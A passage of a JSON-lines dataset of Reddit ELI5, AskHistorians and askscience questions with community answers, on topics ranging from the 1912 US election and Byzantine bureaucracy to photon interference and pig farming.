But a few (e.g. Flisa) have little more than the weapon. Just possibly some of these could've belonged to female warriors.\n\nOne starting point that isn't behind a paywall is Moen - The Gendered Landscape: A discussion on gender, status and power expressed in the Viking Age mortuary landscape (2010) - [PDF link](_URL_0_) has a bit about it. (her similarly titled book, published Oxford, 2011 has more)\n\n\nAnyway, so, short answer is we don't really know. It seems unlikely but female Scandinavian warriors may have existed in some form. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.duo.uio.no/bitstream/handle/10852/23050/ThexGenderedxLandscape.pdf?sequence=2&amp;isAllowed=y", "https://upload.wikimedia.org/wikipedia/commons/9/9b/Suontaka_Sword_in_Finnish_National_Museum_of_Finland_18.11.2017.jpg"]]}
{"q_id": "daw9qa", "title": "why do people have emotional shut downs as defense mechanisms?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/daw9qa/eli5_why_do_people_have_emotional_shut_downs_as/", "answers": {"a_id": ["f1vemmj", "f1vsohm", "f1vvyc4"], "score": [37, 4, 3], "text": ["That\u2019s exactly what it is, a shut down. A sensory overload that results in defense mechanisms kicking in to protect themselves. \n\nNot everyone has the emotional tools to deal with even every day stressors. Some default to being hurt or feeling like a victim, some lash out in anger because they don\u2019t know how to process the stages of other emotions so they go to default settings.\n\nPeople who have matured and have been taught how to appropriately work through the very scary minefield of emotions, either with the help of a therapist or through self exploration and life experience, are generally better equipped to not shut down. People who are not introspective or who come from family histories where emotional outbursts are common place generally exhibit those same behaviors.\n\nDealing with emotional experiences is very much a learned skill and not a natural response. Fight or flight impulse and adrenaline is a hell of a drug.", "For the same reason that you would close your windows when bothered by external noise. You don't like a stimulus as you find that you react to it with displeasure, so you remove it as much as possible.\n\nWith an emotional shut down you're closing off the response more so than the stimulus, so it is particularly effective... but also drastic.", "The three responses are fight, flight, and freeze. This works really well for lesser animals because,subconsciously, they already know which one they're picking. A lone deer will flee 99.9% of the time, it doesn't have to think about it for more than a quarter beat.\n\nFlash forward to you being berated over getting someone's fast food order wrong. You know you can't fight or flee, so you freezes and start analyzing rapidly to find an escape. Your body doesn't know that the conversation is going to be someone else's problem in like 30 seconds, so you're preparing for the worst. Now you are full of cortisol and adrenaline which make you reconsider the fight or flight. Still not an option. More freezing. More cortisol. Cortisol is highly corrosive and it gives us a feeling of urgency, so if you get locked in a spiral, your just urging yourself to move while staying put.\n\nThis would not happen if you knew your fight plan. You need to mentally be in \"fight\" mode AND have a plan if you want to handle difficult conflicts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2gafl2", "title": "Despite two previously successful terms as president, Teddy Roosevelt did not win a third term in the 1912 election. Why did he lose?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2gafl2/despite_two_previously_successful_terms_as/", "answers": {"a_id": ["ckh8yhz"], "score": [18], "text": ["In his previous two terms, Teddy Roosevelt had two major advantages he didn't have in 1912: incumbency, and the backing of one of the two major parties.\n\nWhen McKinley was assassinated, Roosevelt was his vice president, and so took over the presidency without having to be elected.  This meant in 1904 he was running as an incumbent, and the nominee of the Republican Party.  When his second term ended, he endorsed Taft as his successor.\n\nIn 1912, Roosevelt no longer saw eye to eye with Taft, and ran a third party campaign against him.  Taft and Roosevelt represented different wings of the Republican party, and so in an election where 60% of the vote went to a Republican or former Republican candidate, neither candidate alone could beat Wilson's 40%."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "abwdk5", "title": "what does it mean for a planet to be in retrograde?", "selftext": "I have looked it up, but apparently I am too stupid to understand, hence the question", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/abwdk5/eli5_what_does_it_mean_for_a_planet_to_be_in/", "answers": {"a_id": ["ed3f3dq", "ed3fi62", "ed3fjno", "ed3si27", "ed3u8et"], "score": [19, 2, 23, 3, 4], "text": ["It's a term from geocentric universe models - before we knew that the planets were orbiting the sun.  \n\nAstronomers using the Ptolemaic model observing the movements of planets would notice that they appeared to be slowing down,  stopping,  or moving in the opposite direction as before, and assuming that they were still moving relative to earth, which was supposed to be at the center of the universe,  invented the concept of \"retrograde\" to explain the \"direction change.\"\n", "When we look at planets and stars in the sky it generally looks like they are moving in one direction over the course of the year. You may notice that constellations will appear in different parts of the sky depending on the season. The way the planets move around the sun, from our perspective it sometimes looks like the planets start moving in the opposite direction than they were moving.", "Long ago, we looked up at the stars and saw that stars traverse the sky in a predictable, somewhat linear pattern over the course of a year.  But humans saw other objects in the sky.  They were planets - but we didn't know what a planet was, it was just a bit of light just like a star as far as we could tell at the time.  Planets, from our perspective, move back and forth, and not the same way as stars did when you track them in the sky.  They don't actually change direction, it's just that they're so near to us (compared to stars), their relative position to us changes more dramatically than a star would.\n\n & #x200B;\n\nSo when we see a planet \"moving\" from day to day in our field of view, and it then changes direction, we call that retrograde.  I bring up their distance to us because stars would do the same thing if we weren't so far away from them.  Because of that distance, we really don't see much of a difference in how they pass through our field of view.", "You\u2019re driving the same way as a lorry on the motorway. As you approach you can see it is moving the same way as you against the background. Then when you actually overtake for a moment it looks like it\u2019s going backwards but once you\u2019ve passed it, it still looks like it\u2019s going the same way as you.  \nPlanets move retrograde as we overtake them so against the background of stars it looks like they\u2019re going the other way,  but they\u2019re not.\n\nThere\u2019s actually a really good Brian cox explanation of retrograde motion if you can find it on YouTube,  sorry I\u2019m on mobile and lazy. ", "It's a function of different orbital speeds of planets in the solar system.\n\nMercury orbits the sun a lot more quickly than the Earth does. When Mercury is between the Earth and the Sun (that is to say, on the \"same side\" as us) it looks like it's moving in one direction. But then, Mercury moves quickly through its orbit and loops around \"behind the sun\" and from our perspective, it looks as though it's moving in the opposite direction until the orbits sync back up again.\n\n[Here's a good video with some visuals to help explain the concept](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://youtu.be/FtV0PV9MF88"]]}
{"q_id": "2x4uqp", "title": "how does reduced row echelon form algorithm work?", "selftext": "_URL_0_\nHere has some code for different programming languages. I don't really understand how they work out. Can someone explain to me?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2x4uqp/eli5_how_does_reduced_row_echelon_form_algorithm/", "answers": {"a_id": ["cowwdov"], "score": [2], "text": ["I don't have a good enough understanding of C/C++ to read those programs, but here is a [textual explanation of the Gauss-Jordan algorithm](_URL_0_) for finding the RREF of an mxn matrix. Hopefully that'll help you."]}, "title_urls": [], "selftext_urls": ["http://rosettacode.org/wiki/Reduced_row_echelon_form#C"], "answers_urls": [["http://www.csun.edu/~panferov/math262/262_rref.pdf"]]}
{"q_id": "1nnca2", "title": "What indigenous people, that have been contacted, are the least influenced by modern \"life\"?", "selftext": "There are many indigenous people around the world and some have basically moved on to modern life just keeping some traditions alive, like the Sami people here in my home country Finland. But what indigenous people have even after being contacted managed to keep their way of life on free will? I read somewhere that the inuits until about ca. 40 years ago still lived very traditionally before government programs to move them to small societies with schools etc. but are there still others that have kept their way of life?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1nnca2/what_indigenous_people_that_have_been_contacted/", "answers": {"a_id": ["cck779a", "cck8rem"], "score": [5, 3], "text": ["The Hadza are a pretty good example of this. They are a hunter-gatherer group in Tanzania. There were multiple attempts by the government throughout the 1960s and 1970s to resettle them and instate a formal education system. These attempts failed, to say the least. They are mostly living the same way as before, hunting and gathering, though now they wear more clothing and use aluminum pots.\n\nFor more info about them (their society is beyond interesting), I'd highly recommend [\"The Hadza: Hunter-Gatherers of Tanzania\"](_URL_0_) by Frank Marlowe, who is the undisputed expert scholar on this group.", "The Sentinelese islanders are supposed to be the most isolated tribe in the world. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/The-Hadza-Hunter-Gatherers-Tanzania-Behavior/dp/0520253426"], ["http://www.uncontactedtribes.org/articles/3101-the-most-isolated-tribe-in-the-world"]]}
{"q_id": "37hse3", "title": "is an employer legally entitled to repayment if they mistakenly overpay an employee", "selftext": "EDIT: I'm just asking this as a hypothetical, it hasn't happened to me or anyone I know.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37hse3/eli5_is_an_employer_legally_entitled_to_repayment/", "answers": {"a_id": ["crmsa9g", "crmscp7", "crmshz1", "crmspgq", "crmvdg3", "crmvhus", "crmx5cp", "crmy34x", "crmy3ez", "crmytz2", "crmzztd", "crn2fte"], "score": [129, 2, 6, 29, 3, 3, 65, 6, 3, 2, 5, 15], "text": ["Yes. In fact, if you have a direct deposit arrangement with your employer, I assure you that the agreement you signed allows the employer to correct such overpayments by drafting the money out of your account.", "First, I'm not a lawyer, and you should consult one who is an expert in your jurisdiction's labor laws, if this is a real question regarding a situation you find yourself in. \n\nThe answer to the question is, in general: yes. However, there may be all kinds of limitations on time and manner of repayment, as well as a statute of limitations. \n", "Here in Australia, an employer can only legally recover overpayments from their employees / former employees from the previous 6 years.  Any overpayments made that are older than 6 years cannot be recovered.\nEdit: I have absolutely no idea why I've been downvoted.  My partner is an accountant and deals a lot with the legal aspects of payroll.  My comment is factual.", "If a mistake happens where more than you're entitled to is given, you have no claim to the excess funds and must pay it back.\n\nDoesn't matter if you short-change someone, get paid too much by an employer, or the bank makes a mistake and add's a \"0\" on the deposit. If you're not supposed to have it, and get it by mistake, it can be reclaimed by whoever paid it in error. To take/use/withhold/hide it is the same as direct theft.", "Yes. If I give you a backpack, but mistakenly leave my iPad in there, you should have an intuitive sense that you aren't really entitled to the iPad, right?  Or imagine if you overpaid the grocery store somehow.  You would expect to be reimbursed for that.  It's not any different if you're overpaid by your employer. \n\nThe specific mechanics of what happens when an overpayment is found is going to depend on where you live and what if anything your contract (if one exists) says about such situations. ", "Crazy you should ask that. My work direct deposited my paycheck a week early yesterday, and I came into work to an email letting me know that they were taking it right back. \n\nThey included a snippet of legal language about their right to fix financial mistakes like this.", "My job once overpaid me by like $30 and I get a grumpy letter from them saying they were taking it back from my next paychecks, but I got to choose how many pay periods it was taken out of, so just to piss them off I did 24 pay periods.", "Yes.  You are contracted to do a job at a rate, if you are mistakenly paid incorrectly then they can and will recover those amounts.\n\nGenerally speaking it's best to let them take deductions from future paychecks rather than just cut them a check for it, if they do it via deductions then it balances out your taxes for the year.  If you just cut them a check then your taxes might be a bit wonky.\n\nIf you just decide you aren't going to pay it back then you can be taken to court and you're going to lose.\n\nsource: HR critter", "Yes. I had an employee who had been overpaid for a couple of years.  They complained that the new raise was lower than what they usually got. A repayment plan for over $12k was arranged.", "In the UK the answer is yes. However, the employer should give the employee sufficient notice that they are going to recover the overpayment.", "The military accidentally overpaid me close to $5,000 when I was almost out of the service.  You can imagine the shock of seeing a paycheck 5k higher than it normally was.  A couple months later DFAS contacted me about it and gave me 30 or so days to pay it back.  Luckily I'm not a dumbass, so I hadn't spent it, and I was able to call them up with the provided case number and fix the situation in a few minutes.", "What about this scenario... I am a tipped employee at a hotel a customer had tipped me and then 2 days later wanted a refund on the tips he/she gave me (wasn't allowed to tip on expense account). The hotel refunded the tips and then asked for me to reimburse the hotel. Is that legal? \n\n*sorry not trying to hijack the OPs question "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "26x5fr", "title": "what is metadata?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26x5fr/eli5_what_is_metadata/", "answers": {"a_id": ["chvaxoo", "chvbkrb", "chvhl0g", "chvihuw"], "score": [29, 7, 3, 2], "text": ["Data about data.\n\nExample:  \n\n**Data**:  What you said when you called me.\n\n**Metadata**:  Your phone number and my phone number and when you called me and how long the call lasted.", "Simply put, metadata is the description of an object. Think of any man-made object: the Mona Lisa, a cup of coffee on your table, a car on the highway, a picture of you, etc. \n\nNow think of any words or phrases you can use to *describe* that object. Painted by Leonardo da Vinci, made of white clay, manufactured in Japan, taken on September 25th, 2012 at these GPS coordinates, etc. That is the essence of what metadata is.\n\nIts primary purpose is two-fold. One, discovery, is to help you find the thing in question, e.g. \"show me all the paintings by Leonardo da Vinci\" or \"remove all cups that are not made from porcelain from the list\" and so on. The second is to describe the object in greater detail once you've found it, e.g. \"when was the Mona Lisa painted?\" or \"where was I when this picture was taken?\".    \n\nWhere it gets a little more complicated is that the term metadata is generally only used to describe artifacts and documents, i.e. things that are either *unique* and *unchanging*, or whose purpose is to encode/transmit *data*. The Mona Lisa and a picture of you both fit that criteria, while a random cup of coffee or car do not. \n\nNow there is some debate in the digital library community as to what exactly constitutes a \"document\" (usually encapsulated in the question \"is an antelope a document?\"), but the layman's definition of \"a piece of written, printed, or electronic matter that provides information or evidence or that serves as an official record\" is generally considered acceptable.", "A good example would be a .jpg file of an image you took with your camera. If you open that image in, say, Photoshop, you could view and even edit the metadata, which consists of information about the camera itself, when the image file was created as well as the actual shutter count of the camera.", "Jpegs are a good example but the one that almost everyone is familiar with is MP3 files.  The tags on an MP3 file are the metadata.  Along with the compressed music you get information such as length, title, genre, etc.  All of which can be displayed (and edited) by your friendly neighborhood mp3 player."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "uibfb", "title": "how a boxer is crowned best pound for pound fighter, and how pacquiao is considered higher \"rank\" than mayweather?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/uibfb/eli5_how_a_boxer_is_crowned_best_pound_for_pound/", "answers": {"a_id": ["c4vop5a"], "score": [2], "text": ["It's basically a very subjective ranking system.\n\nLet's give ourselves Pacquiao vs Mayweather. Bear in mind that I'm not much of a boxing fan, I just know how it's measured. Anyway, Pacquiao has been against many others of his weight division with impressive w/l/d/ records. Their records are matched against each other, then the match quality is measured. For example, the Pacquiao/Hatton fight. He took down Hatton within the first few rounds solidly. That gives him more brownie points than say if he had a hard-fought, nail-biting match.\n\nIt's essentially a measure of dominance in your matches, hence why it's subjective as to who does the rankings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "11ju42", "title": "Did the proposal to create an Imperial Federation out of the British Empire have any chance of succeeding?", "selftext": "As a student of history and the British Empire in particular, the idea that the Empire could have survived until the modern day is something that I think about every so often. Thus I was very interested when I came across the late-19th early-20th century proposal to create a federated union in place of the existing British Empire. Could this proposal have ever succeeded and why was discussion about it dropped almost completely after the end of the First World War?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/11ju42/did_the_proposal_to_create_an_imperial_federation/", "answers": {"a_id": ["c6n5uzj", "c6n68ga"], "score": [9, 4], "text": ["I doubt it could have succeeded based on the existing model of Empire at the time. I've studied late 19th and 20th century Bombay and imperial citizenship. Basically you had some talk of imperial citizenship, but this was mainly based on ethnicity, on 'Britishness'. Rights and status were severely differentiated based on both ethnicity class. For instance, everyone, in theory whether born in Montreal, London, or Bombay was a British Subject. In practice however, rights of living wherever one chose was highly restricted. See for instance the Komagata Maru incident in Vancouver _URL_0_. \n\nOn a political level as well you had increasing independence on foreign affairs on the part of the 'dominions' such as Canada, Australia, and New Zealand. These governments, in their own parts of the world had, by this time increasing levels of self identity, and their own economic and political goals which could at times be separate from, and at odds with, larger imperial goals. By the 1920s events such as the King-Byng Affair (_URL_1_) were exposing the fault lines between the dominions and would eventually lead to the Statute of Westminster. That these fault lines existed between ethnically British majority (and quite proud of it's place in the Empire) Canada and Britain should be indicative just how doomed from the start this idea was. \n\nTwo issues made the idea of a federated union unlikely to succeed: First, the lack of any actual equality within Empire, both at the level of government and individuals on the basis of location, race, and status. Second, there was by the 1900s a growing sense of economic and foreign affairs self determination on the parts of the colonies which would manifest itself variously as Canadian citizenship separate from British Subjecthood in 1947, Indian Independence in the same year etc. ", "Late in the age of imperialism, there was also some pseudo-progressive talk of uniting into some greater democratic federation. But such talk is always tinged with, at best, paternalism. Really, what bound the empire together? Well, a few hundred years ago the British came and murdered your ancestors so hard that they had to submit. That doesn't really make for much of a unifying national founding myth. The conquered didn't want some sort of equality in a broader union, they wanted freedom. They were perfectly happy to relieve the white man of his burden. \n\nAnd, anyway, under perfect equality, the people India would always outweigh those in Britian. The British aren't going to agree to that. And if a union really means nothing more than that The British getting to veto your decisions all the time -  the Indians are going to choose to go it alone as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Komagata_Maru_incident", "http://en.wikipedia.org/wiki/King%E2%80%93Byng_Affair"], []]}
{"q_id": "9712ck", "title": "If William Wallace and Robert the Bruce didn't wear kilts, why do their statues depict them as such?", "selftext": "My mother in law, bless her heart, is in love with the kilt. As her family name and heritage is directly tied to Robert the Bruce, she has always had a fascination with Scottish knights wearing tartan kilts, at least in court. \n\nWhen I broke it to her that the kilt didn't come to popularity until a good 200 years after the death of Robert the Bruce, she insisted I needed better information. \n\nWhat are the chances that William Wallace and the King of Scots wore kilts, at all, during the 14th century? If they didn't, why are their statues depicted with kilts? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9712ck/if_william_wallace_and_robert_the_bruce_didnt/", "answers": {"a_id": ["e474nyr"], "score": [3], "text": ["Hi, Wallace (or more specifically *Braveheart*) used to be a very popular topic in this sub; you may be interested in a couple of posts on kilts\n\n* /u/depanneur and /u/pirieca in [I was just rewatching Braveheart and now I'm wondering... were kilts as common as every movie about Scotland seems to suggest?](_URL_0_)\n\n* pirieca again, and u/missginj in [When did the Scots start wearing kilts?](_URL_1_)\n\ncontinued..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/1d4w6j/i_was_just_rewatching_braveheart_and_now_im/", "https://www.reddit.com/r/AskHistorians/comments/1e2pr6/when_did_the_scots_start_wearing_kilts/"]]}
{"q_id": "2cxy4f", "title": "why don't we just send in unmanned drones and take out the isis militants around mt sinjar?", "selftext": "I'm assuming I just don't understand enough about the conflict or about our military drone forces.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2cxy4f/eli5_why_dont_we_just_send_in_unmanned_drones_and/", "answers": {"a_id": ["cjk7if5"], "score": [4], "text": ["OK this is the love triangle going on there, Iraq is fighting ISIS,  Iran is helping Iraq, as are the Kurds, if we do that we are flying air support for Iran. (Which is our arch enemy in the Middle East) \n\nEdit: Spelling and Punctuation,  DAMN YOU MOBILE KEYBOARD"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bxnzbr", "title": "The adjective \"Byzantine\" has come to mean excessively complicated, and typically involving a great deal of administrative detail. What about the Byzantine empire was so complex?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bxnzbr/the_adjective_byzantine_has_come_to_mean/", "answers": {"a_id": ["eq8koge"], "score": [22], "text": ["Other bureaucracies are complex too, indeed one would struggle to find a bureaucratic state that \\_wasn't\\_ seen as complex. Byzantium did have a complex political system, with aristocracy and bureaucracy, imperial succession battles that look a little different, but one can't really say that they're uniquely complex.  That Byzantium gets labeled this way is a reflection of who's describing them- its not they themselves, obviously. It also reflects the difficult for a modern scholar in studying Byzantium-- to do justice to the subject you need a lot of languages, the price of entry to Byzantine studies is a lot of work learning to read things that most people can't\n\nSo the characterization as \"Byzantine\" comes from Western Christians looking at Orthodox Byzantium, and doing so rather recently-- this is an \"Orientalist\" epithet, and becomes popular in the 19th century. While contemporary politics of the 19th century saw the Ottoman Empire as the \"sick man of Europe\", historians of the time located that sickness all the way back to Byzantium. One particular quote is sufficiently useful as a resume of 19th century complaints that every volume rolls it out, no reason for me to omit it, because it's splenetic and concise:\n\n > Of that Byzantine empire, the universal verdict of history is that it constitutes, without a single exception, the most thoroughly base and despicable form that civilization has yet assumed. There has been no other enduring civilization so absolutely destitute of all forms and elements of greatness, and none to which the epithet \"mean\" may be so emphatically applied ... The history of the empire is a monotonous story of the intrigues of priests, eunuchs, and women, of poisonings, of conspiracies, of uniform ingratitude.\n\nThat's from [A history of European Morals from Augustus to Charlemagne](_URL_0_) \\[Lecky: 1869\\]. Not well known today, William Lecky was a then renowned Whig historian and political moralist during Victoria's reign, someone who saw the world moving from less advanced to more advanced systems, and he located in Byzantium a great deal of what he considered \"less advanced\".  He finds in Byzantium all the complaints that a Protestant might have about Catholicism, magnified by misogyny and Orientalism. \"Priests, eunuchs and women\" -- an trinity of effeminate intrigue, repellent to Lecky, a  modern Unionist Liberal.\n\nYou can see in Lecky's denunciation a concise list of the reasons an 19th century British Liberal might see Byzantium as a poor example, most of which reflect more on prejudices of the day than they do on Byzantium itself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=tq8_AAAAYAAJ&amp;dq=%22A%20history%20of%20European%20Morals%20from%20Augustus%20to%20Charlemagne%22&amp;pg=PR5#v=onepage&amp;q=%22A%20history%20of%20European%20Morals%20from%20Augustus%20to%20Charlemagne%22&amp;f=false"]]}
{"q_id": "57sq8y", "title": "Why is it that when a bullet fully penetrates a target, the exit hole is so much bigger than the entry hole?", "selftext": "EDIT: this isn't about fragmentation. If a high powered round goes through multiple targets, it will leave a clean entry and a huge exit in all of them. \nThis is the vid that inspired the question:\n_URL_0_", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/57sq8y/why_is_it_that_when_a_bullet_fully_penetrates_a/", "answers": {"a_id": ["d8upk4y", "d8v6kca", "d8ve04c", "d8wavd7"], "score": [9, 4, 2, 3], "text": ["Dumbing it down: When you shoot a gun, the bullet is a nice aerodynamic shape, and easily punches a clean hole through your flesh. As it moves through you, it starts to bend and deform into shapes that are not so nice for piercing through stuff, and by the time it's coming out, instead of cleanly going through your body, it's instead just ripping everything apart. If a bullet has enough energy to go right through a target without deforming much, it can just put a clean hole in it aswell, both entry and exit.", "The other posts have already explained why, but I just wanted to point out that the terminology may be part of the reason for the confusion:\n\nBoth the \"entry hole\" and the \"exit hole\" are the same hole. It's one, cone shaped hole.", "The top answers are absolutely correct but I think everyone is forgetting just the movement of a bullet.  A good, expensive home defense bullet breaks apart on impact to maximize damage.  This generally doesn't generate a exit hole.  A bullet that doesn't break up with generally start to \"tumble\" (rotate in different directions).  So while a bullet may enter you in a clean, ideal trajectory, it will exit you (if possible) it whatever state of \"tumble\" your body caused it to do.  This means it might exit your body in a sideways configuration as opposed to the nose first entry.  That will change that wound shape significantly.", "The way I look at it is this: Consider a [newton's cradle.](_URL_0_) When the edge ball hits the next ball in line, why doesn't that ball move significantly? Because it has another ball right behind it. So when it tries to move, it's blocked by this next ball, and instead it transfers its momentum to that ball instead. When this momentum reaches the last ball, there's no more balls for that energy to transfer to, so the ball moves and swings out. \n\nSo, think of the bullet as the first ball. When it hits the target, it's transfering some of its energy into the target's material. But that material can't move with the bullet without hitting the material behind it, so it transfers energy back. But on the exit side of the target, that last bit of material has nothing behind it to hold it in place or to absorb its momentum. Plus, it has both the momentum the bullet delivered directly to it and momentum transmitted from the material in front of it. The result is that the material moves outwards, like the last newton's cradle ball did. Except its all a lot more violent because of the energy involved."]}, "title_urls": [], "selftext_urls": ["https://youtu.be/NfOhKDJZsCk"], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Newton's_cradle"]]}
{"q_id": "6i94qe", "title": "how did x's over eyes come to symbolize death in cartoons and drawings?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6i94qe/eli5_how_did_xs_over_eyes_come_to_symbolize_death/", "answers": {"a_id": ["dj4gax4", "dj4zkq7"], "score": [40, 4], "text": ["Upon death, many peoples eyes are prone to opening. Obviously, it'd be pretty scary to see a dead person's eyes opening during a viewing so in the past, sewing the deceased person's eyes shut was the best way to prevent that from happening. ", "There was also the custom of putting a coin on each eye to keep them shut. This also seems to have got tied up with the Ancient Greek custom of putting a coin in the mouth to 'pay the ferryman', Charon who rowed the soul over the river Styx, or otherwise be doomed to wander its barren shores for eternity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4kd6f6", "title": "Can a photon only interfere with itself?", "selftext": "In the double slit experiment, if we turn down the intensity of the light such that only one photon is emitted at a time, there is still an interference pattern indicating the photon interfered with itself to produce the interference pattern. Therefore, is it true that photons can only interfere with themselves? \n\nThe reason I ask is that relativity says simultaneity is in the eye of the observer. So, if we have photons A and B, one observer might \"see\" them enter the slits at the same time while another would say one preceded the other and couldn't have interfered. \n\nTherefore, would the only way for interference to happen is with a single photon always interfering with itself?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4kd6f6/can_a_photon_only_interfere_with_itself/", "answers": {"a_id": ["d3e4xoa", "d3e6il8", "d3eage2", "d3ekde5", "d3eo1op"], "score": [10, 39, 7, 3, 2], "text": ["The time order of the events can change under Lorentz transformations (which are the equations of special relativity) only if both events are spatially separated. Moreover even if it was somehow true that different observer see different \"types\" of interference, the one who sees single photons should be able to explain it which needing to assume other frames. This is because of the principle of relativity states that the laws of physics are same in  all inertial reference frames. ", "The answer to your initial question is an emphatic no. You can cross two independent sources of light under tightly controlled conditions and observe interference effects, [as shown in this video](_URL_0_). The trick is that for you to be able to observe this interference, both sources need to be highly coherent (i.e. good lasers) and you need to very accurately control the phase and frequency of both sources. It's important to mention that even when you don't control conditions well, there will still be interference between the beams at any moment in time - this is a general property of how the amplitudes of two electric fields add up. The problem would simply be that the interference pattern would change so quickly in time that the interference effects would effectively wash out.\n\n", "One other thing to consider is that separate photons aren't really separate. There is one single quantum field permeating all of space - the electromagnetic field - and any excitations of that are what we call photons. Two photons created in different places are really just oscillations in the same electromagnetic field. When they meet up, they will interfere with each other the same way water waves made by two different boats will interfere with each other. The only catch here is that quantum fields have that interesting property of acting like particles sometimes - this generally doesn't have an impact on their interference behavior, though, only the final measurement.", "Two distinct quantum particles *can* interfere, but with two caveats.\n\nFirst, this only happens when the two particles are indistinguishable. If the two particles are different, say two photons with different polarizations then *they will not interfere* in any sense.\n\nInterference of the sort you see in diffraction, or in [this demonstration](_URL_1_) somebody linked to in a different comment, or in [this clip of Stephen Colbert's show](_URL_0_) is all due to the indistinguishability of the involved particles. (This is one way of seeing why the beams in that demo must be coherent, have the same frequency, and such, in order to see the effect. Only then are the particles involved indistinguishable.)\n\nSo the particles in the example you gave *could* interfere depending on the details, but here's where the second caveat comes in:\n\nIs this type of interference really the same kind of interference that a single particle demonstrates with itself in a double-slit experiment? Well, not really. At least, it's best to think of them as different things. In fact, essentially this distinction between these two different sorts of interference caused a lot of confusion in the early days of quantum field theory. It still causes a lot of confusion for those learning the subject, as I can say from experience. (For those who are familiar with QFT, I'm talking about the conflation of fields with wavefunctions. You can see the remnants of this confusion in such phrases as \"second quantization\" and \"wavefunction renormalization,\" and in the typical introduction of the Klein-Gordon and Dirac equations as relativistic \"replacements\" for the Schrodinger equation.)", "As other comments have already made it clear, photons can definitely interfere with each other.\n\nIn particular, one very cool thing this phenomenon is being used for is something called \"beamforming\" to enable a single wireless base station to use multiple antennas to communicate with multiple users simultaneously at the same time, which is called \"[MU-MIMO](_URL_0_)\".  \n\nEssentially it sends photons from two or more antennas to intentionally cause the desired interference pattern.  The only way this would work is if photons from different antennas interfere with each other.  The first few slides of [this presentation](_URL_1_) do a decent job of illustrating the concept (as well as next generation of MU-MIMO called \"massive MIMO\").\n\nOn a related note, sound waves also interfere similarly -- this is exactly how noise cancelling headphones work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=XTGop79ZCLM"], [], ["https://youtu.be/ajZojAwfEbs?t=3m49s", "https://www.youtube.com/watch?v=XTGop79ZCLM"], ["https://en.wikipedia.org/wiki/Multi-user_MIMO", "http://argos.rice.edu/pubs/Shepard-MobiCom12-Slides.pptx"]]}
{"q_id": "cvcdbx", "title": "why are pigs never kept in pastures like cattle?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cvcdbx/eli5_why_are_pigs_never_kept_in_pastures_like/", "answers": {"a_id": ["ey39ccm", "ey39rgm", "ey39tvs", "ey3ae82", "ey3aegm"], "score": [34, 2, 10, 8, 15], "text": ["Perhaps it's where you live, or you don't know what to look out for, but pigs do get raised outside as well\n\nLookup free range or outdoor reared pigs.", "Pigs are smart.  Far smarter than any other domesticated food animal.  They can escape from pastures far more easily than any of those other food animals.  Barb wire fences, which are the standard way to enclose a pasture would present absolutely no difficulty to a pig determined to get on the other side.  You need fences with little to no gaps, which would be ridiculously expensive to build and maintain at the size that would be necessary to enclose a pasture.\n\nPigs can and will eat anything, and make any area habitable for themselves, so it doesn't really make economic sense to give them an easier chance to escape for no real added value to their development.  Also, escaped pigs will devastate wilderness, as they are smart, they give birth to litters of 6 to 10 piglets every four or five months, and they can grow to truly devastating size.  A fully grown pig can easily be over 1000 pounds, and is born with fangs, which are normally clipped in domesticated farms.  North America and Australia both have problems with feral pigs.  \n\nThey are often raised outside, but in much smaller enclosures, like corrals, rather than full on pastures.", "They do! The rise of modern farming practices like factory farms have led to buildings where hogs are kept inside their whole lives, and indeed they can be raised cheaply/efficiently (some would say inhumanely) this way.\n\nI raise a few pigs for my own freezer and friends/family, we keep them in a fenced area of grassy pasture. I think some sunshine on the back makes them taste better.\n\nPigs are like nature\u2019s plows- if you leave them on a piece of ground they\u2019ll manure it for you and turn it over, pretty amazing to watch. They do have a tendency to dig holes if you don\u2019t ring them.", "Black Iberian pigs are raised outside and feed exclusively with acorns. They give the best cured ham in the world.", "Pasture is useful because it's a whole bunch of grass. Works great for grass fed 